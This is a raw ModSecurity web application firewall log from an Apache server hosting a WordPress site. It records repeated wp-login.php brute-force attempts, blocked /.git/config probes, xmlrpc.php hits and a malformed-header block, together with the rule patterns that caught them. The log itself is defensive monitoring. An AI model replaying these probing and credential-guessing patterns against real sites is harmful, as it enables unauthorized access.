[Thu Apr 30 23:50:06.362543 2026] [:error] [pid 21839:tid 21846] [client 85.112.74.74:37668] [client 85.112.74.74] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.112.74.74, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "afN6Lp_Sh66m95WwxJ4E9gAAAUQ"], referer: https://gigfragments.org/wp-login.php
[Thu Apr 30 23:50:07.642140 2026] [:error] [pid 5732:tid 5772] [client 85.112.74.74:37666] [client 85.112.74.74] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.112.74.74, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "afN6L9uJ3iSd5GdjqlhYfAAAAMk"], referer: https://gigfragments.org/wp-login.php
[Thu Apr 30 23:50:07.679696 2026] [:error] [pid 21839:tid 21866] [client 85.112.74.74:37668] [client 85.112.74.74] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.112.74.74, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "afN6L5_Sh66m95WwxJ4E_QAAAVg"], referer: https://gigfragments.org/wp-login.php
[Thu Apr 30 23:50:07.684294 2026] [:error] [pid 21839:tid 21854] [client 85.112.74.74:37684] [client 85.112.74.74] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.112.74.74, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "afN6L5_Sh66m95WwxJ4E_gAAAUw"], referer: https://gigfragments.org/wp-login.php
[Thu Apr 30 23:50:09.001654 2026] [:error] [pid 21839:tid 21857] [client 85.112.74.74:37668] [client 85.112.74.74] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.112.74.74, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "afN6MZ_Sh66m95WwxJ4FBgAAAU8"], referer: https://gigfragments.org/wp-login.php
[Thu Apr 30 23:50:09.080047 2026] [:error] [pid 5732:tid 5776] [client 85.112.74.74:37666] [client 85.112.74.74] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.112.74.74, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "afN6MduJ3iSd5GdjqlhYfQAAAM0"], referer: https://gigfragments.org/wp-login.php
[Thu Apr 30 23:50:09.093692 2026] [:error] [pid 21839:tid 21844] [client 85.112.74.74:37684] [client 85.112.74.74] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.112.74.74, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "afN6MZ_Sh66m95WwxJ4FBwAAAUI"], referer: https://gigfragments.org/wp-login.php
[Thu Apr 30 23:50:10.367705 2026] [:error] [pid 21839:tid 21864] [client 85.112.74.74:37668] [client 85.112.74.74] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.112.74.74, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "afN6Mp_Sh66m95WwxJ4FDwAAAVY"], referer: https://gigfragments.org/wp-login.php
[Thu Apr 30 23:50:10.511458 2026] [:error] [pid 5732:tid 5787] [client 85.112.74.74:37666] [client 85.112.74.74] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.112.74.74, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "afN6MtuJ3iSd5GdjqlhYfgAAANg"], referer: https://gigfragments.org/wp-login.php
[Thu Apr 30 23:50:10.532943 2026] [:error] [pid 21839:tid 21853] [client 85.112.74.74:37684] [client 85.112.74.74] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.112.74.74, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "afN6Mp_Sh66m95WwxJ4FEQAAAUs"], referer: https://gigfragments.org/wp-login.php
[Fri May 01 00:03:20.864998 2026] [:error] [pid 5820:tid 5846] [client 47.237.187.229:58356] [client 47.237.187.229] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 47.237.187.229, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "afN9SAyrLh3-LgH3Xv92YgAAABg"], referer: https://gigfragments.org/wp-login.php
[Fri May 01 00:03:20.865304 2026] [:error] [pid 5820:tid 5826] [client 47.237.187.229:58370] [client 47.237.187.229] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 47.237.187.229, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "afN9SAyrLh3-LgH3Xv92YwAAAAQ"], referer: https://gigfragments.org/wp-login.php
[Fri May 01 00:03:20.866636 2026] [:error] [pid 5820:tid 5827] [client 47.237.187.229:58374] [client 47.237.187.229] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 47.237.187.229, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "afN9SAyrLh3-LgH3Xv92ZAAAAAU"], referer: https://gigfragments.org/wp-login.php
[Fri May 01 00:03:22.173650 2026] [:error] [pid 5820:tid 5834] [client 47.237.187.229:58356] [client 47.237.187.229] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 47.237.187.229, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "afN9SgyrLh3-LgH3Xv92ZgAAAAw"], referer: https://gigfragments.org/wp-login.php
[Fri May 01 00:03:22.371842 2026] [:error] [pid 5820:tid 5823] [client 47.237.187.229:58370] [client 47.237.187.229] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 47.237.187.229, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "afN9SgyrLh3-LgH3Xv92ZwAAAAE"], referer: https://gigfragments.org/wp-login.php
[Fri May 01 00:03:23.208108 2026] [:error] [pid 5820:tid 5830] [client 47.237.187.229:58374] [client 47.237.187.229] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 47.237.187.229, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "afN9SwyrLh3-LgH3Xv92agAAAAg"], referer: https://gigfragments.org/wp-login.php
[Fri May 01 00:03:23.462852 2026] [:error] [pid 5820:tid 5844] [client 47.237.187.229:58356] [client 47.237.187.229] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 47.237.187.229, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "afN9SwyrLh3-LgH3Xv92awAAABY"], referer: https://gigfragments.org/wp-login.php
[Fri May 01 00:03:23.555408 2026] [:error] [pid 5820:tid 5843] [client 47.237.187.229:58370] [client 47.237.187.229] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 47.237.187.229, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "afN9SwyrLh3-LgH3Xv92bAAAABU"], referer: https://gigfragments.org/wp-login.php
[Fri May 01 00:03:24.350555 2026] [:error] [pid 5820:tid 5828] [client 47.237.187.229:58374] [client 47.237.187.229] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 47.237.187.229, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "afN9TAyrLh3-LgH3Xv92bgAAAAY"], referer: https://gigfragments.org/wp-login.php
[Fri May 01 00:03:24.682178 2026] [:error] [pid 5820:tid 5832] [client 47.237.187.229:58356] [client 47.237.187.229] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 47.237.187.229, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "afN9TAyrLh3-LgH3Xv92bwAAAAo"], referer: https://gigfragments.org/wp-login.php
[Fri May 01 00:03:24.765251 2026] [:error] [pid 5820:tid 5841] [client 47.237.187.229:58370] [client 47.237.187.229] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 47.237.187.229, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "afN9TAyrLh3-LgH3Xv92cAAAABM"], referer: https://gigfragments.org/wp-login.php
[Fri May 01 00:03:25.471790 2026] [:error] [pid 5820:tid 5822] [client 47.237.187.229:58374] [client 47.237.187.229] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 47.237.187.229, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "afN9TQyrLh3-LgH3Xv92cgAAAAA"], referer: https://gigfragments.org/wp-login.php
[Fri May 01 00:03:25.842797 2026] [:error] [pid 5820:tid 5837] [client 47.237.187.229:58356] [client 47.237.187.229] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 47.237.187.229, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "afN9TQyrLh3-LgH3Xv92cwAAAA8"], referer: https://gigfragments.org/wp-login.php
[Fri May 01 00:03:25.933306 2026] [:error] [pid 5820:tid 5846] [client 47.237.187.229:58370] [client 47.237.187.229] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 47.237.187.229, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "afN9TQyrLh3-LgH3Xv92dAAAABg"], referer: https://gigfragments.org/wp-login.php
[Fri May 01 00:03:36.131326 2026] [:error] [pid 5733:tid 5807] [client 34.138.106.104:52840] [client 34.138.106.104] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.git/config"] [unique_id "afN9WPT55_Ioa9J2OpIKJQAAARE"]
[Fri May 01 00:03:40.592049 2026] [:error] [pid 5820:tid 5834] [client 34.138.106.104:55586] [client 34.138.106.104] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.git/config"] [unique_id "afN9XAyrLh3-LgH3Xv92fQAAAAw"]
[Fri May 01 00:26:05.924304 2026] [:error] [pid 21839:tid 21861] [client 16.171.113.186:33730] [client 16.171.113.186] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 16.171.113.186, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "afOCnZ_Sh66m95WwxJ4N0QAAAVM"], referer: https://gigfragments.org/wp-login.php
[Fri May 01 00:26:05.933394 2026] [:error] [pid 6456:tid 6458] [client 16.171.113.186:33724] [client 16.171.113.186] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 16.171.113.186, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "afOCnUOBwsDodnkJK5yZrQAAAEA"], referer: https://gigfragments.org/wp-login.php
[Fri May 01 00:26:05.933805 2026] [:error] [pid 21839:tid 21863] [client 16.171.113.186:33726] [client 16.171.113.186] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 16.171.113.186, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "afOCnZ_Sh66m95WwxJ4N0gAAAVU"], referer: https://gigfragments.org/wp-login.php
[Fri May 01 00:26:07.524981 2026] [:error] [pid 21839:tid 21849] [client 16.171.113.186:33730] [client 16.171.113.186] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 16.171.113.186, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "afOCn5_Sh66m95WwxJ4N1gAAAUc"], referer: https://gigfragments.org/wp-login.php
[Fri May 01 00:26:07.734626 2026] [:error] [pid 21839:tid 21845] [client 16.171.113.186:33726] [client 16.171.113.186] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 16.171.113.186, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "afOCn5_Sh66m95WwxJ4N1wAAAUM"], referer: https://gigfragments.org/wp-login.php
[Fri May 01 00:26:08.534952 2026] [:error] [pid 6456:tid 6466] [client 16.171.113.186:33724] [client 16.171.113.186] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 16.171.113.186, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "afOCoEOBwsDodnkJK5yZrgAAAEg"], referer: https://gigfragments.org/wp-login.php
[Fri May 01 00:26:08.863796 2026] [:error] [pid 21839:tid 21847] [client 16.171.113.186:33730] [client 16.171.113.186] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 16.171.113.186, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "afOCoJ_Sh66m95WwxJ4N2QAAAUU"], referer: https://gigfragments.org/wp-login.php
[Fri May 01 00:26:09.158837 2026] [:error] [pid 21839:tid 21851] [client 16.171.113.186:33726] [client 16.171.113.186] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 16.171.113.186, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "afOCoZ_Sh66m95WwxJ4N2gAAAUk"], referer: https://gigfragments.org/wp-login.php
[Fri May 01 00:26:09.783424 2026] [:error] [pid 6456:tid 6464] [client 16.171.113.186:33724] [client 16.171.113.186] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 16.171.113.186, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "afOCoUOBwsDodnkJK5yZrwAAAEY"], referer: https://gigfragments.org/wp-login.php
[Fri May 01 00:26:10.209119 2026] [:error] [pid 21839:tid 21866] [client 16.171.113.186:33730] [client 16.171.113.186] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 16.171.113.186, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "afOCop_Sh66m95WwxJ4N2wAAAVg"], referer: https://gigfragments.org/wp-login.php
[Fri May 01 00:26:10.480855 2026] [:error] [pid 21839:tid 21848] [client 16.171.113.186:33726] [client 16.171.113.186] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 16.171.113.186, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "afOCop_Sh66m95WwxJ4N3AAAAUY"], referer: https://gigfragments.org/wp-login.php
[Fri May 01 00:26:11.043423 2026] [:error] [pid 6456:tid 6475] [client 16.171.113.186:33724] [client 16.171.113.186] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 16.171.113.186, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "afOCo0OBwsDodnkJK5yZsgAAAFE"], referer: https://gigfragments.org/wp-login.php
[Fri May 01 00:26:11.507057 2026] [:error] [pid 21839:tid 21858] [client 16.171.113.186:33730] [client 16.171.113.186] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 16.171.113.186, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "afOCo5_Sh66m95WwxJ4N3QAAAVA"], referer: https://gigfragments.org/wp-login.php
[Fri May 01 00:26:11.791840 2026] [:error] [pid 21839:tid 21855] [client 16.171.113.186:33726] [client 16.171.113.186] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 16.171.113.186, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "afOCo5_Sh66m95WwxJ4N3gAAAU0"], referer: https://gigfragments.org/wp-login.php
[Fri May 01 00:26:12.355158 2026] [:error] [pid 6456:tid 6465] [client 16.171.113.186:33724] [client 16.171.113.186] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 16.171.113.186, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "afOCpEOBwsDodnkJK5yZtAAAAEc"], referer: https://gigfragments.org/wp-login.php
[Fri May 01 00:27:22.401224 2026] [:error] [pid 5733:tid 5811] [client 164.132.86.103:53168] [client 164.132.86.103] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 164.132.86.103, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "afOC6vT55_Ioa9J2OpIMggAAARU"], referer: https://gigfragments.org/wp-login.php
[Fri May 01 00:27:22.401608 2026] [:error] [pid 21839:tid 21866] [client 164.132.86.103:53176] [client 164.132.86.103] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 164.132.86.103, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "afOC6p_Sh66m95WwxJ4ONgAAAVg"], referer: https://gigfragments.org/wp-login.php
[Fri May 01 00:27:22.401681 2026] [:error] [pid 21839:tid 21859] [client 164.132.86.103:53178] [client 164.132.86.103] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 164.132.86.103, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "afOC6p_Sh66m95WwxJ4ONwAAAVE"], referer: https://gigfragments.org/wp-login.php
[Fri May 01 00:27:24.904216 2026] [:error] [pid 21839:tid 21864] [client 164.132.86.103:53178] [client 164.132.86.103] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 164.132.86.103, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "afOC7J_Sh66m95WwxJ4OQAAAAVY"], referer: https://gigfragments.org/wp-login.php
[Fri May 01 00:27:25.319568 2026] [:error] [pid 21839:tid 21851] [client 164.132.86.103:53176] [client 164.132.86.103] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 164.132.86.103, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "afOC7Z_Sh66m95WwxJ4OQQAAAUk"], referer: https://gigfragments.org/wp-login.php
[Fri May 01 00:27:25.930077 2026] [:error] [pid 5733:tid 5805] [client 164.132.86.103:53168] [client 164.132.86.103] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 164.132.86.103, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "afOC7fT55_Ioa9J2OpIMhQAAAQ8"], referer: https://gigfragments.org/wp-login.php
[Fri May 01 00:27:26.381718 2026] [:error] [pid 21839:tid 21857] [client 164.132.86.103:53178] [client 164.132.86.103] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 164.132.86.103, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "afOC7p_Sh66m95WwxJ4OQgAAAU8"], referer: https://gigfragments.org/wp-login.php
[Fri May 01 00:27:26.730504 2026] [:error] [pid 21839:tid 21842] [client 164.132.86.103:53176] [client 164.132.86.103] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 164.132.86.103, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "afOC7p_Sh66m95WwxJ4OQwAAAUA"], referer: https://gigfragments.org/wp-login.php
[Fri May 01 00:27:27.175018 2026] [:error] [pid 5733:tid 5790] [client 164.132.86.103:53168] [client 164.132.86.103] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 164.132.86.103, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "afOC7_T55_Ioa9J2OpIMiAAAAQA"], referer: https://gigfragments.org/wp-login.php
[Fri May 01 00:27:27.796752 2026] [:error] [pid 21839:tid 21866] [client 164.132.86.103:53178] [client 164.132.86.103] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 164.132.86.103, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "afOC75_Sh66m95WwxJ4ORQAAAVg"], referer: https://gigfragments.org/wp-login.php
[Fri May 01 00:27:28.074819 2026] [:error] [pid 21839:tid 21863] [client 164.132.86.103:53176] [client 164.132.86.103] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 164.132.86.103, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "afOC8J_Sh66m95WwxJ4ORgAAAVU"], referer: https://gigfragments.org/wp-login.php
[Fri May 01 01:37:22.776892 2026] [:error] [pid 47620:tid 47647] [client 114.119.134.93:44647] [client 114.119.134.93] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "afOTUr9bO-ytgFJ2lwOBlQAAAZM"]
[Fri May 01 02:22:20.277391 2026] [:error] [pid 5731:tid 5755] [client 5.196.202.32:49052] [client 5.196.202.32] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 5.196.202.32, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "afOd3A8tX7TbSfYoUIxnDgAAAJQ"]
[Fri May 01 02:39:21.750762 2026] [:error] [pid 5733:tid 5808] [client 103.186.241.154:65166] [client 103.186.241.154] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.186.241.154, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "afOh2fT55_Ioa9J2OpIlowAAARI"]
